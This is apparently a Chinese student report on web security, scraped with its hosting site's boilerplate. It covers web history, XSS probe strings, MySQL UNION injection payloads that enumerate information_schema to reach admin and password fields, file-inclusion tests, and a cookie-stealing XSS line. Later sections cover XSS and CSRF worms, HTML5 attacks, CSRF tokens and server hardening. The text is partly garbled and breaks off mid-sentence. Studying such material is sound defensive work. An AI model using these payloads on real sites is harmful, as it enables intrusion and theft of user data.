




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
Web前端認識和理解Web前端認識和理解/Web前端認識和理解Web前端認識班級:姓名:夏維;王波學號:2011211830;2011211832授課教師:董濤對Web前端的認識由于網絡技術日趨成熟,黑客們也將注意力從以往對網絡服務器的攻擊逐步轉移到了對Web應用的攻擊上。根據Gartner的最新調查,信息安全攻擊有75%都是發生在Web應用而非網絡層面上。同時,數據也顯示,三分之二的Web站點都相當脆弱,易受攻擊。然而現實確是,絕大多數企業將大量的投資花費在網絡和服務器的安全上,沒有從真正意義上保證Web應用本身的安全,給黑客以可乘之機。一、Web的介紹web的起源Web是WorldWideWeb的簡稱,中文稱之為萬維網,是用于發布、瀏覽、查詢信息的網絡信息服務系統,由許多遍布在不同地域內的Web服務器有機地組成Web架構的精妙處從技術層面上看,Web架構的精華有三處:用超文本技術(HTML)實現信息及信息的連接;用統一資源定位技術(URL)實現全球信息的精確定位;用新的應用層協議(HTTP)實現分布式的信息共享。Web技術涉及的技術Web是一種典型的分布式應用架構。Web應用中的每一次信息交換都要涉及到客戶端和服務端兩個層面.因此,Web開發技術大體上也可以被分為客戶端技術和服務端技術兩大類。(1)客戶端技術①HTML語言的誕生Web客戶端的主要任務是展現信息內容,HTML語言是信息展現的最有效載體之一。作為一種實用的超文本語言,1990年,第一個圖形化的Web瀏覽器”WorldWideWeb”終于可以使用一種為Web度身定制的語言—-HTML來展現超文本信息了。②從靜態信息到動態信息最初的HTML語言只能在瀏覽器中展現靜態的文本或圖像信息,隨后由靜態技術向動態技術逐步轉變。1997年,Microsoft發布了IE4。0,并將動態HTML標記、CSS和動態對象模型發展成了一套完整、實用、高效的客戶端開發技術體系,Microsoft稱其為DHTML。同樣是實現HTML頁面的動態效果,DHTML技術無需啟動Java虛擬機或其他腳本環境,可以在瀏覽器的支持下,獲得更好的展現效果和更高的執行效率。為了在HTML頁面中實現音頻、視頻等更為復雜的多媒體應用,又引入了對QuickTime插件的支持。Realplayer插件、Microsoft自己的媒體播放插件MediaPlayer也被預裝到了各種Windows版本之中。隨后Flash插件的橫空出世。(2)服務端技術及客戶端技術從靜態向動態的演進過程類似,Web服務端的開發技術也是由靜態向動態逐漸發展、完善起來的.二、漏洞挖掘
漏洞挖掘技術一直是網絡攻擊者最感興趣的問題,漏洞挖掘的范圍也在隨著技術的提升而有所變化.在前期針對緩沖區溢出格式化字符串堆溢出lib庫溢出等技術都是針對ELF文件或者PE文件的漏洞挖掘技術。在針對ELF文件PE文件如*.exe及*。dl的漏洞挖掘過程中,出現了很多的漏洞挖掘技術,但是針對PE文件ELF文件的漏洞挖掘始終停留在了黑盒測試(包括單元黑盒測試)源代碼審計等辦法.通過RATS等源代碼審計軟件可以找到部分源代碼級別的漏洞信息,但是畢竟源代碼審計軟件尋找的多數為strcpymemcpy等存在緩沖區溢出遺患的C函數,所以通過審計源代碼的辦法來進行漏洞挖掘是一個可能性系數很小的漏洞挖掘技術,而針對軟件的黑盒子測試雖然也能找到一些軟件的漏洞,但可能性系數也會較小,在國外的一些進行漏洞挖掘的辦法已經慢慢的提升為自己寫黑盒子測試代碼,然后針對系統或軟件的某個功能模塊進行模塊化的漏洞挖掘技術。例如Linux內核的很多漏洞都是通過fuzzing技術找到的,fuzzing即模糊測試的意思,大家可以理解為類似SQL盲注入類型的攻擊技術。網絡安全的界限在不斷的提升,目前緩沖區溢出漏洞已經如MSSQL注入般的被很多人堵死,而在進行網絡入侵滲透的過程中,很多人滲透成功的著力點都是通過WEB開始的,當然有些人是通過MSSQL注入,有些人通過其它的WEB漏洞技術一步步的走到了入侵成功的步驟。我們下面將會討論一些WEB漏洞挖掘的簡單技術,通過這些簡單技術的規則,然后配合經驗的提高,大家或許會得到意想不到的效果.WEB漏洞的分類1、SQL注入
SQL注入漏洞,是依靠存在弱點的WEB腳本代碼,來實現通過瀏覽器執行任意SQL語句,從而實現最終獲取某種權限的攻擊技術。SQL注入的關鍵部分在于對元數據的利用,所謂元數據即數據庫的基礎數據。例如我們可以通過database()version()來獲得數據庫的名稱及版本,而我們通過SQL內置函數獲得的這些內容都屬于數據庫元數據的內容。理解了元數據的概念,在后面的章節我會給大家簡單的講解下通過元數據來獲取MySQL的數據表.2、文件包含類型,如PHP的的遠程本地文件包含漏洞
文件包含漏洞是PHP程序特有的一個弱點攻擊,原理就是在使用include時沒有安全的編程,而能夠找到文件包含漏洞則是入侵一個WEB系統的很重要的因素,有了文件包含漏洞則可以很快速的達到上傳WEBSHELL,然后本地提升權限的作用.3、XSS
XSS漏洞是被很多人遺忘的漏洞,但是XSS也是一個比較危險的安全隱患,我看到很多國內介紹XSS漏洞的文章大部分在如何欺騙管理員獲得后臺登陸帳戶或者管理員的cookies文件.但這些僅僅是XSS漏洞的簡單用法,如果尋找到的XSS漏洞可以任意執行任Javascript腳本,那安全性也是不容忽視的。通過Javascript腳本其實也可以做一些惡意的攻擊,甚至可以獲得一些WEB程序的源代碼,當然這個要看大家對Javascript腳本的熟悉程度。例如我們這幾天公布的這個可跨站執行任意Javascript腳本的漏洞,最后我也通過這個漏洞給客戶演示了如何獲取他們的服務器信息,并最終實現得到其一定權限的方法。同時例如session騙cookies欺騙,目前我也把這些規入了XSS漏洞的范圍,當然僅僅研究這兩個技術也是很值得大家去深入的進行漏洞挖掘的。二、WEB漏洞挖掘規則漏洞挖掘規則需要一個WEB瀏覽器,如IEFirefox等即可,無需讀取WEB程序的源代碼,只要某個規則符合了漏洞規則的要求,即可以采取相關的漏洞攻擊技術進行相應的漏洞攻擊辦法例如:
<script>alert("111”)</script>,如果對方的代碼過濾了”雙引號,那么可以通過<script〉alert(’111’)〈/script>,采用'單引號測試,若單引號也過濾呢?OK,我們這樣來測試<script〉alert(111)</script>,使用數字提交,這樣測試XSS的漏洞就擴展到了三條,通過構造HTML語句來實現XSS漏洞的挖掘等等.XSS的漏洞挖掘規則〈script>alert("111”)</script〉<script>alert('111’)〈/script〉
<script〉alert(111)</script〉
〈body+onload=alert("1111”)〉
<body+onload=alert(’1111')〉
<body+onload=alert(1111)>
〈img+src=("1111”)>
<img+src=(’1111')>
<img+src=(1111)〉
<"
<’
〈
<!——
〉
<!——
—->使用上面的這些簡單漏洞規則,如果模糊測試一些站點的話,可以找到一些XSS漏洞。
下面的這四個語句判斷是否存在mysql注入,其中'號類型的測試已經不是很可行,特別在PHP5和mysql5的環境下:)'
and1=1HYPERLINK”/t%20”
and1=2
orderby4//4為判斷該表的列數,直到猜測到為止下面的語句來獲取mysql的一些信息,這里我們假設我們使用orderby語句判斷出的列數為4HYPERLINK”/t%20”
and1=1unionselect1,2,3,4HYPERLINK
and1=1unionselectversion(),database(),user(),4/t%20”
and1=1unionselectversion()/*HYPERLINK”/t%20”
and1=1unionselectdatabse()/*猜測表名:
and1=1unionselecttable_schema,table_name,table_rows,table_countfrominformation_schema.tables//上面使用數據庫的元數據來獲取mysql的信息,前提是系統管理員沒有禁止mysql普通用戶對元數據庫的表查詢,如果禁止了則該辦法是無效的。在開始分析mysql數據庫到底可以執行到那種程度的注入情況下分析了mysql的系統架構,最終發現通過information_schema數據庫提供給mysql用戶的元數據可以得到一些mysql數據庫的基本信息,例如得到數據庫的各個表信息等,還可以得到數據庫的權限設置等信息,information_schema數據庫用到的表的具體字段1:KEY_COLUMN_USAGE表constraint_schema:存放數據庫名table_schema:存放數據庫名table_name:存放數據庫表信息column_name:存放數據庫的字段信息,一般可以獲取第一個字段或者自增字段的信息2:SCHEMA表schema_name:存放數據庫名default_charater_set_name:存放charset類型default_collation_name:存放charset相關信息3:SCHEMA_PRIVILEGES表grantee:存放數據庫用戶名table_schema:表名privilege_type:權限4:STATISTICS表table_schema:存放數據庫名table_name:存放表名index_schema:數據庫名index_name:是否縮引column_name:存放索引自增字段5:TABLES表table_schema:存放數據庫名table_name:存放表名table_type:表類型SYSTEMorBASETABLEengin:MEMORYMYISAMInnoDBversion:table_rows:表的行數auto_increment:自增的總行數create_time:創建表的時間update_time:更新表的時間create_options:創建表時的約束條件有了這些以后,如果對方系統管理員忽略了這些,則可以達到我們不需要猜測表名而直接獲取數據庫表名的結果.
猜測列名:
HYPERLINK”/t%20”
and1=1unionselectusername,2,3,4fromuserwhere1=2按照這個規則依次類推,如果我們猜測到user表存在username字段,則程序執行是正常的,否則程序會出錯,也可以使用where1=1來打印表的信息,通過這樣的辦法就可以獲取mysql數據庫的某些關鍵表的字段信息,如:admin及password:)C:文件包含漏洞
文件包含漏洞的測試,有以下幾個比較簡單且有效的辦法。1:新建一個簡單的php代碼,如:〈?phpinfo();?>,保存為*。txt格式2:新建一個簡單的php代碼,如:〈?phpinfo();?>,保存為無后綴格式然后我們測試時只需要采取下面簡單的辦法即可,這里我們假設我們下面的文件URL為HYPERLINK”/t%20"漏洞規則/t%20"HYPERLINKHYPERLINK”/t%20"使用上面的簡單規則即可實現文件包含漏洞的測試,當然得根據具體的返回信息來判斷.例如從XSS漏洞的檢測規則可能會發現包含文件漏洞,如果知道PHP的某個函數存在緩沖區溢出,我們假設這個PHP的內置函數為phphtml(char*str),假設/t%20"(n為觸發漏洞的最大字符數)當然類似這樣的漏洞是需要寫程序來自動運行的,然后來觸發溢出并執行shellcode。但這里也存在一個問題,即一般情況下,類似PHP本身的溢出漏洞的利用是有些難度存在的。三:XSS的概述最重要的要了解XSS漏洞的是,他們是目前為止發現的,在所有網站超過80%比例的定制Web應用程序中最常見的漏洞。雖然跨站點腳本在一段時間內一直被認為是中等程度的的漏洞,但XSS蠕蟲和病毒的出現,已經提高了XSS的評估.軟件開發人員和安全專業人員需要知道它是多么簡單,以防止代碼開發過程中出現XSS漏洞,并且一經查出,他們是多么容易解決。XSS是一種攻擊技術,它使得一個網站,寫出攻擊者提供的可執行代碼,然后加載在用戶的Web瀏覽器。也就是說,當黑客使用存在漏洞的網站作為攻擊的通道時,用戶是預定的受害者。1、非持久性xss想想看,一個黑客想使用“"網站對用戶進行XSS攻擊。黑客會采取的第一個步驟是在找出一個XSS漏洞,然后構造一個特制的URL,也被稱為鏈接.要做到這一點,黑客會搜尋網站上的客戶端提供的數據可以被發送到Web服務器,然后回顯到屏幕上的任何功能,比如搜索框。常見的在線發布的博客。XSS漏洞往往出現在搜索框表單.在搜索字段中輸入“testsearch”,響應頁面將用戶輸入的文本在顯示在三個不同的位置,查詢字符串中包含值為“test+search”的“search”參數。這個URL值可以在運行時更改,甚至包括HTML/JavaScript的內容。,其3展示了原來的搜索詞被替換為下面的HTML/JavaScript代碼時會發生什么:Example1。">〈SCRIPT>alert(‘XSS%20Testing')〈/SCRIPT>結果頁面彈出了一個無害的警告對話框。根據提示,提交的代碼已經成為web頁面的一部分,證明了JavaScript已進入到的上下文并得到執行。其4展示了夾雜有新的HTML/JavaScript代碼的Web頁面的HTML源代碼。其3,原來的搜索詞將被替換為HTML/JavaScript代碼.其4,夾雜有新的HTML/JavaScript代碼的Web頁面的HTML源代碼。此時,黑客將會繼續修改這個URL,包含更復雜的XSS攻擊來利用用戶。一個典型的例子是一個簡單的cookie盜竊的攻擊。Example2。“〉<SCRIPT>var+img=new+Image();img。src=”/”%20+%20document。cookie;</SCRIPT〉前面的JavaScript代碼創建一個圖像DOM(文檔對象模型)對象。varimg=newImage();因為JavaScript代碼在“”上下文中執行,所以它可以訪問cookie數據。document.cookie;圖形對象然后指派一個外域的URL發送帶有Web瀏覽器的Cookie字符串的數據到“”。img。src=”/”+document.cookie;下面是一個例子,是一個被發送的HTTP請求。Example3。GETHTTP/1.1Host:hostUser—Agent:Firefox/1.5。0。1Content-length:0一旦黑客完成了他的攻擊代碼,他會通過垃圾郵件,留言板的帖子,即時消息和其他方法宣傳這種特制的鏈接,試圖吸引用戶點擊。是什么讓這種攻擊這么有效?用戶可能點擊正常的網絡釣魚郵件7中的鏈接是因為這個URL包含了真正的網站域名,而不是一種外觀相似的域名或隨機的IP地址.應當注意的是,過長的XSS鏈接可以使用URL縮短服務,如TinyURL.com進行偽裝.2、持久型XSS持久型XSS攻擊最常發生在由社區內容驅動的網站或Web郵件網站,不需要特制的鏈接來執行。黑客僅僅需要提交XSS漏洞利用代碼到一個網站上其他用戶可能訪問的地方。這些地區可能是博客評論,用戶評論,留言板,聊天室,HTML電子郵件,wikis,和其他的許多地方。一旦用戶訪問受感染的網頁,執行是自動的。這使得持續性的XSS的危險性比非持久性高,因為用戶沒有辦法保護自己。一旦黑客成功在某個頁面注入了漏洞利用代碼,他將宣傳受感染頁面的URL來希望不知情的用戶中招。即使用戶對非持續性XSS的URL懂得識別,也會很容易的受到影響.無論使用非持續性或持續性的XSS漏洞,黑客可以利用用戶,導致網絡和財務上的損失,有許多的方法.2、傳播的方法對于一個病毒或蠕蟲想要成功,它需要一個執行和傳播的方法.電子郵件病毒通常在鼠標點擊后執行,然后通過您的聯系人列表來發送帶有惡意軟件的的郵件進行傳播。網絡蠕蟲利用遠程利用漏洞危害機器和并且通過連接到其他存在漏洞的主機進行傳播。除傳播之外,蠕蟲病毒還是高度多樣化,包括創造DDoS僵尸網絡,垃圾郵件僵尸,或遠程鍵盤監控的能力.XSS蠕蟲及其他形式的惡意軟件相似,但以自己獨特的方式執行和傳播。使用一個網站來存放惡意代碼,XSS蠕蟲和病毒通過控制Web瀏覽器,使得它復制惡意軟件到網絡上的其他地方去感染別人來進行傳播.例如,一個含有惡意軟件的博客評論,可以使用訪問者的瀏覽器發布額外的感染性的博客評論.XSS蠕蟲病毒可能會使得瀏覽器進行發送電子郵件,轉賬,刪除/修改數據,入侵其他網站,下載非法內容,以及許多其他形式的惡意活動。用最簡單的方式去理解,就是如果沒有適當的防御,在網站上的任何功能都可以在未經用戶許可的情況下運行。在最后一節中,我們將重點放在XSS漏洞本身,以及用戶可以怎么樣被利用。現在,我們來看XSS惡意軟件是如何可以進行遠程通信。XSS漏洞利用代碼,通常是HTML/JavaScript,使用三種方式使得瀏覽器發送遠程HTTP請求的瀏覽器:嵌入式的HTML標簽,JavaScriptDOM的對象,XMLHTTPRequest.3、嵌入式HTML標簽一些HTML標簽具有在頁面加載時會自動發起Web瀏覽器的HTTP請求的屬性。有一個例子是IMG的SRC屬性。SRC屬性用于指定在Web頁面中顯示的圖像文件的URL地址.當你的瀏覽器載入帶有IMG標簽的網頁,圖像會自動被請求,并在瀏覽器中顯示。但是,SRC屬性也可以被用于任何Web服務器的其他URL,不僅僅是包含圖像的.例如,如果我們進行了谷歌搜索“WhiteHatSecurity”我們最終得到了下面的URL:這個URL可以很容易地取代IMG內的SRC屬性的值,從而迫使您的Web瀏覽器中執行相同的谷歌搜索。<imgsrc=”Search"〉顯然使得Web瀏覽器發送一個谷歌搜索請求是沒有什么危害性的.然而,URL構建的同樣的過程可以用來使得Web瀏覽器自動進行銀行賬戶資金的匯款,發表煽動性言論,甚至入侵網站.這一點可以說明,這是一個迫使一個Web瀏覽器連接到其他網站,使的XSS蠕蟲病毒傳播的機制。5、JavaScript和文檔對象模型JavaScript被用于給網站訪問者一個豐富的、交互式的體驗。這些網頁更接近于一個軟件應用程序,而不是一個靜態的HTML文檔。我們常會看到JavaScript被用于進行圖像的翻轉,動態表單輸入檢查,彈出對話框,下拉菜單,拖動和拖放等。JavaScript有接近完全的對網站上的每一個對象,包括圖像,cookies,窗口,框架和文本內容的訪問。這些對象中的每一個都是文檔對象模型的一部分。DOM提供了一系列JavaScript讀取和操作的應用程序編程接口.類似嵌入式HTML標簽的功能,JavaScript可以操縱DOM對象自動發起Web瀏覽器的HTTP請求。圖像和窗口的源URL可以被重新指定為其他URL的。我們可以使用JavaScript來改變圖像的DOM對象SRC進行谷歌搜索“WhiteHatSecurity”。img[0]。src=Search;迫使Web瀏覽器連接到其他網站發送一個谷歌搜索請求是一種無害的例子。但這也說明了XSS惡意軟件傳播的另一種方法。四、HTML5安全五種可能會利用HTML5的功能進行攻擊的方法:1、表單篡改:另一個新功能讓攻擊者可以在被注入JavaScript的網站(例如XSS攻擊)中更改該網頁上的表單行為。舉例來說,攻擊者可以改變一個網絡商店的正常行為,不是將內容送到購買或是登錄頁面,而是將用戶的身分認證信息發送到攻擊者自己的網站。2、利用地理定位追蹤受害者:地理定位是HTML5新功能中最受注目的一個.因為安全和隱私的考慮,網站必須先得到用戶的批準,隨后才能獲得位置訊息.然而就和以前出現過的其他功能一樣,例如Vista的用戶帳戶控制,Android的應用程序權限,還有無效的HTTPS憑證等,這些需要用戶作決定的安全措施幾乎沒有任何效果。而一旦有了授權,網站不僅可以知道受害者的位置,而且還可以在用戶移動時對其進行實時追蹤.3、利用桌面通知做社會工程學攻擊:我們在HTML5的五大優秀功能文章中曾經提到過HTML5的一個新功能:桌面通知.這些出現在瀏覽器之外的彈出窗口,其實是可以用HTML程序代碼進行定制的。雖然這種功能帶來了很不錯的交互方式,但也可能導致社會工程學攻擊,例如網絡釣魚或者假冒殺毒軟件等。看看下面的圖片就可以想象到,攻擊者可以如何利用這個新功能了。4、利用跨域請求或WebSockets的端口掃描:有了HTML5,瀏覽器現在可以連到任何IP地址或網站的(幾乎)任何端口.雖然除非目標網站有特別的允許,不然并不能接收到來自任意端口連接的回應,但是研究人員表示,這類請求所花的時間可以用來判斷目標端口是打開的還是關閉的。因此攻擊者就可以直接利用瀏覽器對受害者的內部網絡進行端口掃描。5、點擊劫持更加容易:點擊劫持本身不是種新的攻擊,這種攻擊的目的是竊取受害者的鼠標按鈕點擊,然后將點擊定向到攻擊者所指定的其他頁面。攻擊者的目的是讓用戶在不知情的情況下點擊隱藏的鏈接。目前,對于點擊劫持最好的服務器端防御措施之一是被稱為Framekilling的技術。本質上來說,受到影響的網站可以利用JavaScript來驗證自己是否在一個iframe中運行,如果是的話,就拒絕顯示頁面內容。這種技術已經被在用在Facebook、Gmail和其他一些網站中.但是HTML5在iframe中增加了一個新的沙盒屬性,該屬性會讓網站停止執行JavaScript腳本。在大多數情況下,這其實是比較安全的做法,但也存在缺點,就是會抵消目前對點擊劫持最好的防御措施。五、CSRFCSRF是跨站請求偽造,也被稱為“oneclickattack”或者sessionriding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本,但它及XSS非常不同,并且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。及XSS攻擊相比,CSRF攻擊往往不大流行和難以防范,所以被認為比XSS更具危險性。即在某個惡意站點的頁面上,促使訪問者請求你的網站的某個URL,從而達到改變服務器端數據的目的.這一類攻擊依賴于你的網頁中的表單,脆弱的表單很容易受到攻擊。對于你網站中的訪問者而言,可能會受到以下攻擊:在你的網站之外記錄受攻擊者的日志(比如:Slashdot);修改受攻擊者在你的網站的設置(比如:Google);修改你的硬件防火墻;使用受攻擊者的登錄信息在你的網站中發表評論或留言;將資金轉移到另一個用戶帳號中。CSRF攻擊的典型是那些使用cookie記錄登錄信息的網站,但對于一些允許某個IP地址訪問的頁面(如內部網),這一類攻擊也會奏效.CSRF攻擊通常會使用到JavaScript(但不僅限于JavaScript)實現跨站點自動提交表單--表單數據可以隱藏,提交按鈕可以偽裝成鏈接或滾動條。確定那些接受可改變服務器數據的CGI只接受POST參數,不接受GET參數,一些服務器端語言默認同時接受兩種方式提交過來的參數;確定表單提交處理的是你自己的表單,可以使用一個隱藏字段中存放MD5字符串,此字符串是將登錄cookie數據及服務器端存放的密鑰進行MD5之后的結果,只有這個MD5字符串正確時才接受表單數據;另外還可以增加一個更為嚴格的方法:在表單中增加一個時間戳的隱藏字段,并將其包含到hash字符串中,如果時間戳超過某個時間,則認為表單已過期。當表單過期時,給出一個方法可以讓用戶重新提交表單,比如將用戶之前填寫的數據依舊放入表單中,但使用一個新的hash字符串。一個PHP的表單例子,表單代碼:<?php$key=y8s4Z7m2;//MD5加密密鑰$time=time();//當前時間$hash=md5($time。$key);//hash字符串?〈formmethod=”post”action="comment.php”〈pYourname:〈inputtype=”text”name=”person_name"/〈/p<pComment:/〈textareaname="comment"rows="10”cols="60”〈/textarea</p〈inputtype="hidden"name=”time”value=”<?phpecho$time;?"/<inputtype="hidden”name=”hash”value="〈?phpecho$hash;?"/<p<inputtype="submit"name="comment"value="SubmitComment"/</p</form表單提交之后的comment。php后臺處理程序代碼:〈?php$key=y8s4Z7m2;//密鑰,及上面的一致$expire=1800;//表單過期時間:半小時$my_hash=md5($_POST[time].$key);//正確的hash字符串if($my_hash!=$_POST[hash])//hash字符串不正確die(非法表單提交。);if(time()—$_POST[time]$expire){//表單已經過期,生成新的時間戳和hash字符串,顯示表單讓用戶重新提交。(此處省略)//…。}//表單驗證通過,可以接受表單提交的數據,并進行其它操作。六、Web蠕蟲Web蠕蟲主要包括:XSS蠕蟲、CSRF蠕蟲、Clickjacking蠕蟲,這三類蠕蟲都及具體的漏洞風險有關系,從名字上很好分。還有第四類文本蠕蟲。蠕蟲性質:傳播性,病毒性為。什么是xss蠕蟲蠕蟲病毒,比如前幾年比較猖獗的熊貓燒香,還有最近Conficker蠕蟲。這些蠕蟲的特性都是具有自傳播,感染,變形等。最近流行的豬流感按照理論也算蠕蟲病毒。而近年來由于ajax流行,web2。0的一些特性,使得web蠕蟲流行。任何一個蠕蟲都不無原緣無故發作的,比如熊貓燒香是利用掛馬,遠程掃描等方式感染的,而這歸根結底還是系統有漏洞。那么web蠕蟲的切入點就是web有漏洞了。從03年腳本入侵流行一來,sql注射就是最流行的入侵方式,但是由于現在人們的安全意識的提高,sql漏洞越來越少,xss的漏洞就開始凸顯出來,而xss可以使我們嵌入任意我們需要的代碼,比如盜個cookie等,當別人訪問的時候會吧自己的發送到你指定的文件里去.一個xss蠕蟲都有什么基本功能之前在說熊貓燒香之類的蠕蟲病毒已經說過了這個內容,傳播感染和變形,而現在web蠕蟲先不用發展那么高級,而我們只需要寫出傳播和感染就行,至于變形,除非漏洞被過濾了我們還需要繞過那么就需要一定得變形,而這種變形一般不會影響我們寫的蠕蟲文件,會影響到調用蠕蟲文件的代碼。CSRF蠕蟲原理及XSS蠕蟲基本類似,只是這里用到的是CSRF,攻擊代碼存在于攻擊者的頁面中,目標網站傳播的內容都包含攻擊者頁面URL,這樣才能有貨目標網站上的被攻擊者打開攻擊者頁面,然后出發CSRF,CSRF會據需跨域發布含攻擊者頁面URL的內容進行傳播。八、Web面臨的安全威脅來自網絡上的安全威脅及攻擊多種多樣,依照Web訪問的結構,可將其分類為對Web服務器的安全威脅、對Web客戶機的安全威脅和對通信信道的安全威脅三類。(一)對Web服務器的安全威脅對于Web服務器、服務器的操作系統、數據庫服務器都有可能存在漏洞,惡意用戶都有可能利用這些漏洞去獲得重要信息。Web服務器上的漏洞可以從以下幾方面考慮:1、在Web服務器上的機密文件或重要數據,如存放用戶名、口令的文件放置在不安全區域,被入侵后很容易得到。2、在Web數據庫中,保存的有價值信息,如商業機密數據、用戶信息等,如果數據庫安全配置不當,很容易泄密。3、Web服務器本身存在一些漏洞,能被黑客利用侵入到系統,破壞一些重要的數據,甚至造成系統癱瘓。4、程序員的有意或無意在系統中遺漏Bugs給非法黑客創造條件。用CGI腳本編寫的程序中的自身漏洞。(二)對Web客戶機的安全威脅現在網頁中的活動內容已被廣泛應用,活動內容的不安全性是造成客戶端的主要威脅。網頁的活動內容是指在靜態網頁中嵌入的對用戶透明的程序,它可以完成一些動作,顯示動態圖像、下載和播放音樂、視頻等。當用戶使用瀏覽器查看帶有活動內容的網頁時,這些應用程序會自動下載并在客戶機上運行,如果這些程序被惡意使用,可以竊取、改變或刪除客戶機上的信息。主要用到JavaApplet和ActiveX技術。JavaApplet使用Java語言開發,隨頁面下載,Java使用沙盒根據安全模式所定義的規則來限制JavaApplet的活動,它不會訪問系統中規定安全范圍之外的程序代碼。但事實上JavaApplet存在安全漏洞,可能被利用進行破壞。ActiveX是微軟的一個控件技術,它封裝由網頁設計者放在網頁中來執行特定的任務的程序,可以由微軟支持的多種語言開發但只能運行在Windows平臺。ActiveX在安全性上不如JavaApplet,一旦下載,能像其他程序一樣執行,訪問包括操作系統代碼在內的所有系統資源,這是非常危險的。Cookie是Netscape公司開發的,用來改善HTTP的無狀態性。無狀態的表現使得制造像購物車這樣要在一定時間內記住用戶動作的東西很難。Cookie實際上是一段小消息,在瀏覽器第一次連接時由HTTP服務器送到瀏覽器端,以后瀏覽器每次連接都把這個Cookie的一個拷貝返回給Web服務器,服務器用這個Cookie來記憶用戶和維護一個跨多個頁面的過程影像。Cookie不能用來竊取關于用戶或用戶計算機系統的信息,它們只能在某種程度上存儲用戶的信息,如計算機名字、IP地址、瀏覽器名稱和訪問的網頁的URL等。所以,Cookie是相對安全的。(三)對通信信道的安全威脅Internet是連接Web客戶機和服務器通信的信道,是不安全的.像Sniffer這樣的嗅探程序,可對信道進行偵聽,竊取機密信息,存在著對保密性的安全威脅。未經授權的用戶可以改變信道中的信息流傳輸內容,造成對信息完整性的安全威脅。此外,還有像利用拒絕服務攻擊,向網站服務器發送大量請求造成主機無法及時響應而癱瘓,或者發送大量的IP數據包來阻塞通信信道,使網絡的速度便緩慢。九、Web的安全防護技術(一)Web客戶端的安全防護Web客戶端的防護措施,重點對Web程序組件的安全進行防護,嚴格限制從網絡上任意下載程序并在本地執行。可以在瀏覽器進行設置,如MicrosoftInternetExplorer的Internet選項的高級窗口中將Java相關選項關閉。在安全窗口中選擇自定義級別,將ActiveX組件的相關選項選為禁用。在隱私窗口中根據需要選擇Cookie的級別,也可以根據需要將c:\windows\cookie下的所有Cookie相關文件刪除.(二)通信信道的安全防護通信信道的防護措施,可在安全性要求較高的環境中,利用HTTPS協議替代HTTP協議。利用安全套接層協議SSL保證安全傳輸文件,SSL通過在客戶端瀏覽器軟件和Web服務器之間建立一條安全通信信道,實現信息在Internet中傳送的保密性和完整性.但SSL會造成Web服務器性能上的一些下降。(三)Web服務器端的安全防護限制在Web服務器中賬戶數量,對在Web服務器上建立的賬戶,在口令長度及定期更改方面作出要求,防止被盜用.Web服務器本身會存在一些安全上的漏洞,需要及時進行版本升級更新.盡量使EMAIL、數據庫等服務器及Web服務器分開,去掉無關的網絡服務。在Web服務器上去掉一些不用的如SHELL之類的解釋器.定期查看服務器中的日志文件,分析一切可疑事件。設置好Web服務器上系統文件的權限和屬性。通過限制許可訪問用戶IP或DNS。從CGI編程角度考慮安全.采用編譯語言比解釋語言會更安全些,并且CGI程序應放在獨立于HTML存放目錄之外的CGI-BIN下等措施。十、Web服務器安全防護策略的應用這里以目前應用較多的Windows2000平臺和IIS的Web服務器為例簡述Web服務器端安全防護的策略應用(一)系統安裝的安全策略安裝Windows2000系統時不要安裝多余的服務和多余的協議,因為有的服務存在有漏洞,多余的協議會占用資源.安裝Windows2000后一定要及時安裝補丁4程序(W2KSP4_CN.exe),立刻安裝防病毒軟件。(二)系統安全策略的配置通過“本地安全策略”限制匿名訪問本機用戶、限制遠程用戶對光驅或軟驅的訪問等.通過“組策略"限制遠程用戶對Netmeeting的桌面共享、限制用戶執行Windows安裝任務等安全策略配置。(三)IIS安全策略的應用在配置Internet信息服務(IIS)時,不要使用默認的Web站點,刪除默認的虛擬目錄映射;建立新站點,并對主目錄權限進行設置。一般情況下設置成站點管理員和Administrator兩個用戶可完全控制,其他用戶可以讀取文件。(四)審核日志策略的配置當Windows2000出現問題的時候,通過對系統日志的分析,可以了解故障發生前系統的運行情況,作為判斷故障原因的根據。一般情況下需要對常用的用戶登錄日志,HTTP和FTP日志進行配置。1、設置登錄審核日志審核事件分為成功事件和失敗事件.成功事件表示一個用戶成功地獲得了訪問某種資源的權限,而失敗事件則表明用戶的嘗試失敗.2、設置HTTP審核日志通過“Internet服務管理器”選擇Web站點的
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 營業員技能大賽練習試題附答案(一)
- 良種繁育買賣合同書(4篇)
- 行政組織理論研究方法試題及答案
- 軟件測試過程控制試題及答案分析
- 幫助考生理解公路工程法律知識試題及答案
- 風險識別與戰略調整的范例試題及答案
- VFP考試主題知識的整合與梳理試題及答案
- 公路工程執照考試必知要點試題及答案
- 協議書公章還是合同章
- 高效軟件測試準備試題及同步答案
- 多式聯運物流模式下的智能運輸管理系統開發方案
- 2025年不良資產經營行業分析報告
- 土木工程專業外文文獻及翻譯
- 4P營銷理論課件
- 省課題研究報告格式范文
- 2025年行政執法證考試必考題庫及答案(共三套)
- 《夏季養生保健常識》課件
- 2025年傳統建筑行業的智能門窗技術
- 2024年湖北高中學業水平合格性考試歷史試卷真題(含答案詳解)
- 合伙經營自媒體合同范例
- 2025版亞馬遜FBA物流倉儲及電商運營服務合同6篇
評論
0/150
提交評論